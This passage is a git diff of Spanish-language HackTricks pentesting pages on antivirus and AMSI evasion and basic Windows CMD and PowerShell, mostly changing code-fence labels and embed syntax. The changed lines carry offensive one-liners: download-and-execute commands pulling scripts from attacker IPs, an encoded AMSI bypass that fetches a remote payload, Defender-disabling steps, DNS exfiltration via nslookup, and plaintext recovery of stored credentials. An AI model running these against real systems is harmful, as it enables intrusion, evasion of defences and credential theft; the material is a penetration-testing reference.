marco de metaprogramación de plantillas de C++ que dificultará un poco la vida a la persona que quiera crackear la aplicación. +- [**obfy**](https://github.com/fritzone/obfy): Agrega una capa de operaciones ofuscadas generadas por el marco de metaprogramación de plantillas de C++ que hará que la vida de la persona que quiera crackear la aplicación sea un poco más difícil. - [**Alcatraz**](https://github.com/weak1337/Alcatraz)**:** Alcatraz es un ofuscador de binarios x64 que puede ofuscar varios archivos pe diferentes, incluyendo: .exe, .dll, .sys - [**metame**](https://github.com/a0rtega/metame): Metame es un motor de código metamórfico simple para ejecutables arbitrarios. -- [**ropfuscator**](https://github.com/ropfuscator/ropfuscator): ROPfuscator es un marco de ofuscación de código de grano fino para lenguajes compatibles con LLVM utilizando ROP (programación orientada a retorno). ROPfuscator ofusca un programa a nivel de código de ensamblaje transformando instrucciones regulares en cadenas ROP, frustrando nuestra concepción natural del flujo de control normal. +- [**ropfuscator**](https://github.com/ropfuscator/ropfuscator): ROPfuscator es un marco de ofuscación de código de grano fino para lenguajes compatibles con LLVM utilizando ROP (programación orientada a retorno). ROPfuscator ofusca un programa a nivel de código ensamblador transformando instrucciones regulares en cadenas ROP, frustrando nuestra concepción natural del flujo de control normal. - [**Nimcrypt**](https://github.com/icyguider/nimcrypt): Nimcrypt es un Crypter PE de .NET escrito en Nim. - [**inceptor**](https://github.com/klezVirus/inceptor)**:** Inceptor es capaz de convertir EXE/DLL existentes en shellcode y luego cargarlos. @@ -230,7 +259,7 @@ Una forma muy efectiva de evitar que tus cargas útiles obtengan la Marca de la [**PackMyPayload**](https://github.com/mgeeky/PackMyPayload/) es una herramienta que empaqueta cargas útiles en contenedores de salida para evadir la Marca de la Web. Ejemplo de uso: -```powershell +```bash PS C:\Tools\PackMyPayload> python .\PackMyPayload.py .\TotallyLegitApp.exe container.iso + o + o + o + o @@ -255,30 +284,38 @@ Aquí hay una demostración para eludir SmartScreen empaquetando cargas útiles
-## Reflexión de Ensamblados C# +## ETW + +Event Tracing for Windows (ETW) es un poderoso mecanismo de registro en Windows que permite a las aplicaciones y componentes del sistema **registrar eventos**. Sin embargo, también puede ser utilizado por productos de seguridad para monitorear y detectar actividades maliciosas. + +De manera similar a cómo se desactiva (elude) AMSI, también es posible hacer que la función **`EtwEventWrite`** del proceso de espacio de usuario regrese inmediatamente sin registrar ningún evento. Esto se hace parcheando la función en memoria para que regrese de inmediato, deshabilitando efectivamente el registro de ETW para ese proceso. + +Puedes encontrar más información en **[https://blog.xpnsec.com/hiding-your-dotnet-etw/](https://blog.xpnsec.com/hiding-your-dotnet-etw/) y [https://github.com/repnz/etw-providers-docs/](https://github.com/repnz/etw-providers-docs/)**. + +## C# Assembly Reflection Cargar binarios de C# en memoria se conoce desde hace bastante tiempo y sigue siendo una excelente manera de ejecutar tus herramientas de post-explotación sin ser detectado por AV. -Dado que la carga útil se cargará directamente en la memoria sin tocar el disco, solo tendremos que preocuparnos por parchear AMSI para todo el proceso. +Dado que la carga útil se cargará directamente en memoria sin tocar el disco, solo tendremos que preocuparnos por parchear AMSI para todo el proceso. La mayoría de los frameworks C2 (sliver, Covenant, metasploit, CobaltStrike, Havoc, etc.) ya ofrecen la capacidad de ejecutar ensamblados de C# directamente en memoria, pero hay diferentes formas de hacerlo: - **Fork\&Run** -Esto implica **generar un nuevo proceso sacrificial**, inyectar tu código malicioso de post-explotación en ese nuevo proceso, ejecutar tu código malicioso y, cuando termines, matar el nuevo proceso. Esto tiene tanto sus beneficios como sus desventajas. El beneficio del método fork and run es que la ejecución ocurre **fuera** de nuestro proceso de implante Beacon. Esto significa que si algo en nuestra acción de post-explotación sale mal o es detectado, hay una **mucho mayor probabilidad** de que nuestro **implante sobreviva.** La desventaja es que tienes una **mayor probabilidad** de ser detectado por **Detecciones Comportamentales**. +Esto implica **generar un nuevo proceso sacrificial**, inyectar tu código malicioso de post-explotación en ese nuevo proceso, ejecutar tu código malicioso y, cuando termines, matar el nuevo proceso. Esto tiene tanto sus beneficios como sus desventajas. El beneficio del método fork and run es que la ejecución ocurre **fuera** de nuestro proceso de implante Beacon. Esto significa que si algo en nuestra acción de post-explotación sale mal o es detectado, hay una **mucho mayor posibilidad** de que nuestro **implante sobreviva.** La desventaja es que tienes una **mayor probabilidad** de ser detectado por **Detecciones Comportamentales**.
- **Inline** -Se trata de inyectar el código malicioso de post-explotación **en su propio proceso**. De esta manera, puedes evitar tener que crear un nuevo proceso y que sea escaneado por AV, pero la desventaja es que si algo sale mal con la ejecución de tu carga útil, hay una **mucho mayor probabilidad** de **perder tu beacon** ya que podría fallar. +Se trata de inyectar el código malicioso de post-explotación **en su propio proceso**. De esta manera, puedes evitar tener que crear un nuevo proceso y que sea escaneado por AV, pero la desventaja es que si algo sale mal con la ejecución de tu carga útil, hay una **mucho mayor posibilidad** de **perder tu beacon** ya que podría fallar.
> [!NOTE] -> Si deseas leer más sobre la carga de ensamblados C#, consulta este artículo [https://securityintelligence.com/posts/net-execution-inlineexecute-assembly/](https://securityintelligence.com/posts/net-execution-inlineexecute-assembly/) y su BOF InlineExecute-Assembly ([https://github.com/xforcered/InlineExecute-Assembly](https://github.com/xforcered/InlineExecute-Assembly)) +> Si deseas leer más sobre la carga de ensamblados de C#, consulta este artículo [https://securityintelligence.com/posts/net-execution-inlineexecute-assembly/](https://securityintelligence.com/posts/net-execution-inlineexecute-assembly/) y su BOF InlineExecute-Assembly ([https://github.com/xforcered/InlineExecute-Assembly](https://github.com/xforcered/InlineExecute-Assembly)) -También puedes cargar ensamblados de C# **desde PowerShell**, consulta [Invoke-SharpLoader](https://github.com/S3cur3Th1sSh1t/Invoke-SharpLoader) y el video de [S3cur3th1sSh1t](https://www.youtube.com/watch?v=oe11Q-3Akuk). +También puedes cargar ensamblados de C# **desde PowerShell**, consulta [Invoke-SharpLoader](https://github.com/S3cur3Th1sSh1t/Invoke-SharpLoader) y [el video de S3cur3th1sSh1t](https://www.youtube.com/watch?v=oe11Q-3Akuk). ## Usando Otros Lenguajes de Programación @@ -288,6 +325,16 @@ Al permitir el acceso a los binarios del intérprete y al entorno en el recurso El repositorio indica: Defender aún escanea los scripts, pero al utilizar Go, Java, PHP, etc., tenemos **más flexibilidad para eludir firmas estáticas**. Las pruebas con scripts de shell reverso aleatorios no ofuscados en estos lenguajes han demostrado ser exitosas. +## TokenStomping + +Token stomping es una técnica que permite a un atacante **manipular el token de acceso o un producto de seguridad como un EDR o AV**, permitiéndoles reducir sus privilegios para que el proceso no muera, pero no tenga permisos para verificar actividades maliciosas. + +Para prevenir esto, Windows podría **impedir que procesos externos** obtengan manejadores sobre los tokens de procesos de seguridad. + +- [**https://github.com/pwn1sher/KillDefender/**](https://github.com/pwn1sher/KillDefender/) +- [**https://github.com/MartinIngesen/TokenStomp**](https://github.com/MartinIngesen/TokenStomp) +- [**https://github.com/nick-frischkorn/TokenStripBOF**](https://github.com/nick-frischkorn/TokenStripBOF) + ## Evasión Avanzada La evasión es un tema muy complicado, a veces tienes que tener en cuenta muchas fuentes diferentes de telemetría en un solo sistema, por lo que es prácticamente imposible permanecer completamente indetectado en entornos maduros. @@ -296,11 +343,15 @@ Cada entorno al que te enfrentes tendrá sus propias fortalezas y debilidades. Te animo a que veas esta charla de [@ATTL4S](https://twitter.com/DaniLJ94), para obtener una base sobre técnicas de evasión más avanzadas. -{% embed url="https://vimeo.com/502507556?embedded=true&owner=32913914&source=vimeo_logo" %} +{{#ref}} +https://vimeo.com/502507556?embedded=true&owner=32913914&source=vimeo_logo +{{#endref}} -Esta también es otra gran charla de [@mariuszbit](https://twitter.com/mariuszbit) sobre Evasión en Profundidad. +Esta es también otra gran charla de [@mariuszbit](https://twitter.com/mariuszbit) sobre Evasión en Profundidad. -{% embed url="https://www.youtube.com/watch?v=IbA7Ung39o4" %} +{{#ref}} +https://www.youtube.com/watch?v=IbA7Ung39o4 +{{#endref}} ## **Técnicas Antiguas** @@ -315,7 +366,7 @@ Hasta Windows 10, todas las versiones de Windows venían con un **servidor Telne ```bash pkgmgr /iu:"TelnetServer" /quiet ``` -Haz que **inicie** cuando se arranque el sistema y **ejecuta** ahora: +Haz que **inicie** cuando se inicie el sistema y **ejecuta** ahora: ```bash sc config TlntSVR start= auto obj= localsystem ``` @@ -475,7 +526,9 @@ powershell -command "& { (New-Object Net.WebClient).DownloadFile('https://gist.g 32bit: powershell -command "& { (New-Object Net.WebClient).DownloadFile('https://gist.githubusercontent.com/BankSecurity/812060a13e57c815abe21ef04857b066/raw/81cd8d4b15925735ea32dff1ce5967ec42618edc/REV.txt', '.\REV.txt') }" && powershell -command "& { (New-Object Net.WebClient).DownloadFile('https://gist.githubusercontent.com/BankSecurity/f646cb07f2708b2b3eabea21e05a2639/raw/4137019e70ab93c1f993ce16ecc7d7d07aa2463f/Rev.Shell', '.\Rev.Shell') }" && C:\Windows\Microsoft.Net\Framework\v4.0.30319\Microsoft.Workflow.Compiler.exe REV.txt Rev.Shell ``` -{% embed url="https://gist.github.com/BankSecurity/469ac5f9944ed1b8c39129dc0037bb8f" %} +{{#ref}} +https://gist.github.com/BankSecurity/469ac5f9944ed1b8c39129dc0037bb8f +{{#endref}} Lista de ofuscadores de C#: [https://github.com/NotPrab/.NET-Obfuscator](https://github.com/NotPrab/.NET-Obfuscator) @@ -523,7 +576,6 @@ https://github.com/praetorian-code/vulcan ``` ### Más -- [https://github.com/persianhydra/Xeexe-TopAntivirusEvasion](https://github.com/persianhydra/Xeexe-TopAntivirusEvasion) - +- [https://github.com/Seabreg/Xeexe-TopAntivirusEvasion](https://github.com/Seabreg/Xeexe-TopAntivirusEvasion) {{#include ../banners/hacktricks-training.md}} diff --git a/src/windows-hardening/basic-cmd-for-pentesters.md b/src/windows-hardening/basic-cmd-for-pentesters.md index 9b742632a..b1fd365f2 100644 --- a/src/windows-hardening/basic-cmd-for-pentesters.md +++ b/src/windows-hardening/basic-cmd-for-pentesters.md @@ -1,4 +1,4 @@ -# CMD básico de Windows para Pentesters +# Información básica de Win CMD para Pentesters {{#include ../banners/hacktricks-training.md}} @@ -42,7 +42,7 @@ nslookup %LOGONSERVER%.%USERDNSDOMAIN% #DNS request for DC (wmic logicaldisk get caption 2>nul | more) || (fsutil fsinfo drives 2>nul) wmic logicaldisk get caption,description,providername ``` -### [Defender](authentication-credentials-uac-and-efs/#defender) +### [Defender](authentication-credentials-uac-and-efs/index.html#defender) ### Papelera de reciclaje ```bash @@ -315,7 +315,7 @@ who^ami #whoami ### DOSfuscation Genera una línea CMD ofuscada -```powershell +```bash git clone https://github.com/danielbohannon/Invoke-DOSfuscation.git cd Invoke-DOSfuscation Import-Module .\Invoke-DOSfuscation.psd1 @@ -349,7 +349,7 @@ for /f "tokens=1,2,3" %a in ('dir /B "C:\Progra~2"') do nslookup %a.%b.%c #Same as last one ``` -También puedes **redirigir** la salida y luego **leerla**. +También puedes **redirigir** la salida y luego **leer**la. ``` whoami /priv | finstr "Enab" > C:\Users\Public\Documents\out.txt for /f "tokens=1,2,3,4,5,6,7,8,9" %a in ('type "C:\Users\Public\Documents\out.txt"') do nslookup %a.%b.%c.%d.%e.%f.%g.%h.%i diff --git a/src/windows-hardening/basic-powershell-for-pentesters/README.md b/src/windows-hardening/basic-powershell-for-pentesters/README.md index 82459f654..623d8696a 100644 --- a/src/windows-hardening/basic-powershell-for-pentesters/README.md +++ b/src/windows-hardening/basic-powershell-for-pentesters/README.md @@ -3,12 +3,12 @@ {{#include ../../banners/hacktricks-training.md}} ## Ubicaciones predeterminadas de PowerShell -```powershell +```bash C:\windows\syswow64\windowspowershell\v1.0\powershell C:\Windows\System32\WindowsPowerShell\v1.0\powershell ``` ## Comandos básicos de PS para comenzar -```powershell +```bash Get-Help * #List everything loaded Get-Help process #List everything containing "process" Get-Help Get-Item -Full #Get full helpabout a topic @@ -17,7 +17,7 @@ Import-Module Get-Command -Module ``` ## Descargar y Ejecutar -```powershell +```bash echo IEX(New-Object Net.WebClient).DownloadString('http://10.10.14.13:8000/PowerUp.ps1') | powershell -noprofile - #From cmd download and execute powershell -exec bypass -c "(New-Object Net.WebClient).Proxy.Credentials=[Net.CredentialCache]::DefaultNetworkCredentials;iwr('http://10.2.0.5/shell.ps1')|iex" iex (iwr '10.10.14.9:8000/ipw.ps1') #From PSv3 @@ -30,37 +30,37 @@ $wr = [System.NET.WebRequest]::Create("http://10.10.14.9:8000/ipw.ps1") $r = $wr powershell . (nslookup -q=txt http://some.owned.domain.com)[-1] ``` ### Descargar y ejecutar en segundo plano con bypass de AMSI -```powershell +```bash Start-Process -NoNewWindow powershell "-nop -Windowstyle hidden -ep bypass -enc JABhACAAPQAgACcAUwB5AHMAdABlAG0ALgBNAGEAbgBhAGcAZQBtAGUAbgB0AC4AQQB1AHQAbwBtAGEAdABpAG8AbgAuAEEAJwA7ACQAYgAgAD0AIAAnAG0AcwAnADsAJAB1ACAAPQAgACcAVQB0AGkAbABzACcACgAkAGEAcwBzAGUAbQBiAGwAeQAgAD0AIABbAFIAZQBmAF0ALgBBAHMAcwBlAG0AYgBsAHkALgBHAGUAdABUAHkAcABlACgAKAAnAHsAMAB9AHsAMQB9AGkAewAyAH0AJwAgAC0AZgAgACQAYQAsACQAYgAsACQAdQApACkAOwAKACQAZgBpAGUAbABkACAAPQAgACQAYQBzAHMAZQBtAGIAbAB5AC4ARwBlAHQARgBpAGUAbABkACgAKAAnAGEAewAwAH0AaQBJAG4AaQB0AEYAYQBpAGwAZQBkACcAIAAtAGYAIAAkAGIAKQAsACcATgBvAG4AUAB1AGIAbABpAGMALABTAHQAYQB0AGkAYwAnACkAOwAKACQAZgBpAGUAbABkAC4AUwBlAHQAVgBhAGwAdQBlACgAJABuAHUAbABsACwAJAB0AHIAdQBlACkAOwAKAEkARQBYACgATgBlAHcALQBPAGIAagBlAGMAdAAgAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAKQAuAGQAbwB3AG4AbABvAGEAZABTAHQAcgBpAG4AZwAoACcAaAB0AHQAcAA6AC8ALwAxADkAMgAuADEANgA4AC4AMQAwAC4AMQAxAC8AaQBwAHMALgBwAHMAMQAnACkACgA=" ``` ### Usando b64 desde linux -```powershell +```bash echo -n "IEX(New-Object Net.WebClient).downloadString('http://10.10.14.31/shell.ps1')" | iconv -t UTF-16LE | base64 -w 0 powershell -nop -enc ``` ## Descargar ### System.Net.WebClient -```powershell +```bash (New-Object Net.WebClient).DownloadFile("http://10.10.14.2:80/taskkill.exe","C:\Windows\Temp\taskkill.exe") ``` ### Invoke-WebRequest -```powershell +```bash Invoke-WebRequest "http://10.10.14.2:80/taskkill.exe" -OutFile "taskkill.exe" ``` ### Wget -```powershell +```bash wget "http://10.10.14.2/nc.bat.exe" -OutFile "C:\ProgramData\unifivideo\taskkill.exe" ``` ### BitsTransfer -```powershell +```bash Import-Module BitsTransfer Start-BitsTransfer -Source $url -Destination $output # OR Start-BitsTransfer -Source $url -Destination $output -Asynchronous ``` -## Base64 Kali y EncodedCommand -```powershell +## Base64 Kali & EncodedCommand +```bash kali> echo -n "IEX(New-Object Net.WebClient).downloadString('http://10.10.14.9:8000/9002.ps1')" | iconv --to-code UTF-16LE | base64 -w0 PS> powershell -EncodedCommand ``` @@ -71,7 +71,7 @@ PS> powershell -EncodedCommand ## [Política de AppLocker](https://github.com/carlospolop/hacktricks/blob/master/windows-hardening/basic-powershell-for-pentesters/broken-reference/README.md) ## Habilitar WinRM (PS Remoto) -```powershell +```bash enable-psremoting -force #This enables winrm # Change NetWorkConnection Category to Private @@ -85,7 +85,7 @@ $_|Set-NetConnectionProfile -NetWorkCategory Private -Confirm } ``` ## Desactivar Defender -```powershell +```bash # Check status Get-MpComputerStatus Get-MpPreference | select Exclusion* | fl #Check exclusions @@ -114,12 +114,12 @@ ValueData : 0 ``` ### AMSI bypass -**`amsi.dll`** está **cargado** en tu proceso y tiene las **exportaciones** necesarias para que cualquier aplicación interactúe. Y debido a que está cargado en el espacio de memoria de un proceso que **controlas**, puedes cambiar su comportamiento **sobrescribiendo instrucciones en memoria**. Haciendo que no detecte nada. +**`amsi.dll`** se **carga** en tu proceso y tiene las **exportaciones** necesarias para que cualquier aplicación interactúe. Y debido a que está cargado en el espacio de memoria de un proceso que **controlas**, puedes cambiar su comportamiento **sobrescribiendo instrucciones en memoria**. Haciendo que no detecte nada. -Por lo tanto, el objetivo de los bypass de AMSI que usarás es **sobrescribir las instrucciones de esa DLL en memoria para hacer que la detección sea inútil**. +Por lo tanto, el objetivo de los bypass de AMSI que utilizarás es **sobrescribir las instrucciones de esa DLL en memoria para hacer que la detección sea inútil**. **Página web del generador de bypass de AMSI**: [**https://amsi.fail/**](https://amsi.fail/) -```powershell +```bash # A Method [Ref].Assembly.GetType('System.Management.Automation.Ams'+'iUtils').GetField('am'+'siInitFailed','NonPu'+'blic,Static').SetValue($null,$true) @@ -184,17 +184,18 @@ Los pasos para realizar el hooking de llamadas a la API de métodos .NET son: ### AMSI Bypass - Más Recursos +- Consulta la página sobre **[Evitando AVs y AMSI](../av-bypass.md)** - [S3cur3Th1sSh1t/Amsi-Bypass-Powershell](https://github.com/S3cur3Th1sSh1t/Amsi-Bypass-Powershell) - [Amsi Bypass en Windows 11 en 2023](https://gustavshen.medium.com/bypass-amsi-on-windows-11-75d231b2cac6) [Github](https://github.com/senzee1984/Amsi_Bypass_In_2023) ## PS-History -```powershell +```bash Get-Content C:\Users\\AppData\Roaming\Microsoft\Windows\Powershell\PSReadline\ConsoleHost_history.txt ``` ## Encontrar archivos más nuevos Opciones: `CreationTime`, `CreationTimeUtc`, `LastAccessTime`, `LastAccessTimeUtc`, `LastWriteTime`, `LastWriteTimeUtc` -```powershell +```bash # LastAccessTime: (gci C:\ -r | sort -Descending LastAccessTime | select -first 100) | Select-Object -Property LastAccessTime,FullName @@ -202,30 +203,32 @@ Opciones: `CreationTime`, `CreationTimeUtc`, `LastAccessTime`, `LastAccessTimeUt (gci C:\ -r | sort -Descending LastWriteTime | select -first 100) | Select-Object -Property LastWriteTime,FullName ``` ## Obtener permisos -```powershell +```bash Get-Acl -Path "C:\Program Files\Vuln Services" | fl ``` ## Versión del SO y HotFixes -```powershell +```bash [System.Environment]::OSVersion.Version #Current OS version Get-WmiObject -query 'select * from win32_quickfixengineering' | foreach {$_.hotfixid} #List all patches Get-Hotfix -description "Security update" #List only "Security Update" patches ``` ## Entorno -```powershell +```bash Get-ChildItem Env: | ft Key,Value -AutoSize #get all values $env:UserName @Get UserName value ``` ## Otras unidades conectadas -```powershell +```bash Get-PSDrive | where {$_.Provider -like "Microsoft.PowerShell.Core\FileSystem"}| ft Name,Root ``` ### Papelera de reciclaje -```powershell +```bash $shell = New-Object -com shell.application $rb = $shell.Namespace(10) $rb.Items() ``` +[https://jdhitsolutions.com/blog/powershell/7024/managing-the-recycle-bin-with-powershell/](https://jdhitsolutions.com/blog/powershell/7024/managing-the-recycle-bin-with-powershell/) + ## Reconocimiento de Dominio {{#ref}} @@ -233,12 +236,12 @@ powerview.md {{#endref}} ## Usuarios -```powershell +```bash Get-LocalUser | ft Name,Enabled,Description,LastLogon Get-ChildItem C:\Users -Force | select Name ``` ## Cadena Segura a Texto Plano -```powershell +```bash $pass = "01000000d08c9ddf0115d1118c7a00c04fc297eb01000000e4a07bc7aaeade47925c42c8be5870730000000002000000000003660000c000000010000000d792a6f34a55235c22da98b0c041ce7b0000000004800000a00000001000000065d20f0b4ba5367e53498f0209a3319420000000d4769a161c2794e19fcefff3e9c763bb3a8790deebf51fc51062843b5d52e40214000000ac62dab09371dc4dbfd763fea92b9d5444748692" | convertto-securestring $user = "HTB\Tom" $cred = New-Object System.management.Automation.PSCredential($user, $pass) @@ -250,7 +253,7 @@ SecurePassword : System.Security.SecureString Domain : HTB ``` O directamente analizando el formulario XML: -```powershell +```bash $cred = Import-CliXml -Path cred.xml; $cred.GetNetworkCredential() | Format-List * UserName : Tom @@ -259,7 +262,7 @@ SecurePassword : System.Security.SecureString Domain : HTB ``` ## SUDO -```powershell +```bash #CREATE A CREDENTIAL OBJECT $pass = ConvertTo-SecureString '' -AsPlainText -Force $cred = New-Object System.Management.Automation.PSCredential("", $pass) @@ -281,16 +284,21 @@ $mycreds = New-Object System.Management.Automation.PSCredential ("", $secp $computer = "" ``` ## Grupos -```powershell +```bash Get-LocalGroup | ft Name #All groups Get-LocalGroupMember Administrators | ft Name, PrincipalSource #Members of Administrators ``` ## Portapapeles -```powershell +```bash Get-Clipboard ``` +Realiza un monitoreo del portapapeles utilizando: + +- [https://github.com/HarmJ0y/Misc-PowerShell/blob/master/Start-ClipboardMonitor.ps1](https://github.com/HarmJ0y/Misc-PowerShell/blob/master/Start-ClipboardMonitor.ps1) +- [https://github.com/slyd0g/SharpClipboard](https://github.com/slyd0g/SharpClipboard) + ## Procesos -```powershell +```bash Get-Process | where {$_.ProcessName -notlike "svchost*"} | ft ProcessName, Id ``` ## Servicios @@ -298,19 +306,19 @@ Get-Process | where {$_.ProcessName -notlike "svchost*"} | ft ProcessName, Id Get-Service ``` ## Contraseña de cadena segura -```powershell +```bash $pw=gc admin-pass.xml | convertto-securestring #Get the securestring from the file $cred=new-object system.management.automation.pscredential("administrator", $pw) $cred.getnetworkcredential() | fl * #Get plaintext password ``` ## Tareas Programadas -```powershell +```bash Get-ScheduledTask | where {$_.TaskPath -notlike "\Microsoft*"} | ft TaskName,TaskPath,State ``` ## Red ### Escaneo de Puertos -```powershell +```bash # Check Port or Single IP Test-NetConnection -Port 80 10.10.10.10 @@ -325,12 +333,12 @@ Test-NetConnection -Port 80 10.10.10.10 ``` ### Interfaces -```powershell +```bash Get-NetIPConfiguration | ft InterfaceAlias,InterfaceDescription,IPv4Address Get-DnsClientServerAddress -AddressFamily IPv4 | ft ``` ### Cortafuegos -```powershell +```bash Get-NetFirewallRule -Enabled True Get-NetFirewallRule -Direction Outbound -Enabled True -Action Block @@ -346,28 +354,28 @@ New-NetFirewallRule -DisplayName 'SSH (Port 22)' -Direction Inbound -LocalPort 2 Get-NetFirewallRule -Direction Outbound -Enabled True -Action Block | Format-Table -Property DisplayName, @{Name='Protocol';Expression={($PSItem | Get-NetFirewallPortFilter).Protocol}},@{Name='LocalPort';Expression={($PSItem | Get-NetFirewallPortFilter).LocalPort}}, @{Name='RemotePort';Expression={($PSItem | Get-NetFirewallPortFilter).RemotePort}},@{Name='RemoteAddress';Expression={($PSItem | Get-NetFirewallAddressFilter).RemoteAddress}},Profile,Direction,Action ``` ### Ruta -```powershell +```bash route print ``` ### ARP -```powershell +```bash Get-NetNeighbor -AddressFamily IPv4 | ft ifIndex,IPAddress,LinkLayerAddress,State ``` ### Hosts -```powershell +```bash Get-Content C:\WINDOWS\System32\drivers\etc\hosts ``` ### Ping -```powershell +```bash $ping = New-Object System.Net.Networkinformation.Ping 1..254 | % { $ping.send("10.9.15.$_") | select address, status } ``` ### SNMP -```powershell +```bash Get-ChildItem -path HKLM:\SYSTEM\CurrentControlSet\Services\SNMP -Recurse ``` ## **Convertir la cadena SDDL en un formato legible** -```powershell +```bash PS C:\> ConvertFrom-SddlString "O:BAG:BAD:AI(D;;DC;;;WD)(OA;CI;CR;ab721a53-1e2f-11d0-9819-00aa0040529b;bf967aba-0de6-11d0-a285-00aa003049e2;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CI;CR;00299570-246d-11d0-a768-00aa006e0529;bf967aba-0de6-11d0-a285-00aa003049e2;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CIIO;CCDCLC;c975c901-6cea-4b6f-8319-d67f45449506;4828cc14-1437-45bc-9b07-ad6f015e5f28;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CIIO;CCDCLC;c975c901-6cea-4b6f-8319-d67f45449506;bf967aba-0de6-11d0-a285-00aa003049e2;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;;CR;3e0f7e18-2c7a-4c10-ba82-4d926db99a3e;;S-1-5-21-3842939050-3880317879-2865463114-522)(OA;;CR;1131f6aa-9c07-11d1-f79f-00c04fc2dcd2;;S-1-5-21-3842939050-3880317879-2865463114-498)(OA;;CR;1131f6ab-9c07-11d1-f79f-00c04fc2dcd2;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;;CR;1131f6ad-9c07-11d1-f79f-00c04fc2dcd2;;DD)(OA;CI;CR;89e95b76-444d-4c62-991a-0facbeda640c;;S-1-5-21-3842939050-3880317879-2865463114-1164)(OA;CI;CR;1131f6aa-9c07-11d1-f79f-00c04fc2dcd2;;S-1-5-21-3842939050-3880317879-2865463114-1164)(OA;CI;CR;1131f6ad-9c07-11d1-f79f-00c04fc2dcd2;;S-1-5-21-3842939050-3880317879-2865463114-1164)(OA;CI;CC;4828cc14-1437-45bc-9b07-ad6f015e5f28;;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CI;CC;bf967a86-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CI;CC;bf967a9c-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CI;CC;bf967aa5-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CI;CC;bf967aba-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CI;CC;5cb41ed0-0e4c-11d0-a286-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CI;RP;4c164200-20c0-11d0-a768-00aa006e0529;;S-1-5-21-3842939050-3880317879-2865463114-5181)(OA;CI;RP;b1b3a417-ec55-4191-b327-b72e33e38af2;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;RP;9a7ad945-ca53-11d1-bbd0-0080c76670c0;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;RP;bf967a68-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;RP;1f298a89-de98-47b8-b5cd-572ad53d267e;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;RP;bf967991-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;RP;5fd424a1-1262-11d0-a060-00aa006c33ed;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;WP;bf967a06-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5172)(OA;CI;WP;bf967a06-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CI;WP;bf967a0a-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CI;WP;3e74f60e-3e73-11d1-a9c0-0000f80367c1;;S-1-5-21-3842939050-3880317879-2865463114-5172)(OA;CI;WP;3e74f60e-3e73-11d1-a9c0-0000f80367c1;;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CI;WP;b1b3a417-ec55-4191-b327-b72e33e38af2;;S-1-5-21-3842939050-3880317879-2865463114-5172)(OA;CI;WP;b1b3a417-ec55-4191-b327-b72e33e38af2;;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CI;WP;bf96791a-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5172)(OA;CI;WP;bf96791a-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CI;WP;9a9a021e-4a5b-11d1-a9c3-0000f80367c1;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;WP;0296c120-40da-11d1-a9c0-0000f80367c1;;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CI;WP;934de926-b09e-11d2-aa06-00c04f8eedd8;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;WP;5e353847-f36c-48be-a7f7-49685402503c;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;WP;8d3bca50-1d7e-11d0-a081-00aa006c33ed;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;WP;bf967953-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5172)(OA;CI;WP;bf967953-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CI;WP;e48d0154-bcf8-11d1-8702-00c04fb96050;;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CI;WP;275b2f54-982d-4dcd-b0ad-e53501445efb;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;WP;bf967954-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5172)(OA;CI;WP;bf967954-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CI;WP;bf967961-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5172)(OA;CI;WP;bf967961-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CI;WP;bf967a68-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CI;WP;5fd42471-1262-11d0-a060-00aa006c33ed;;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CI;WP;5430e777-c3ea-4024-902e-dde192204669;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;WP;6f606079-3a82-4c1b-8efb-dcc8c91d26fe;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;WP;bf967a7a-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CI;WP;bf967a7f-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317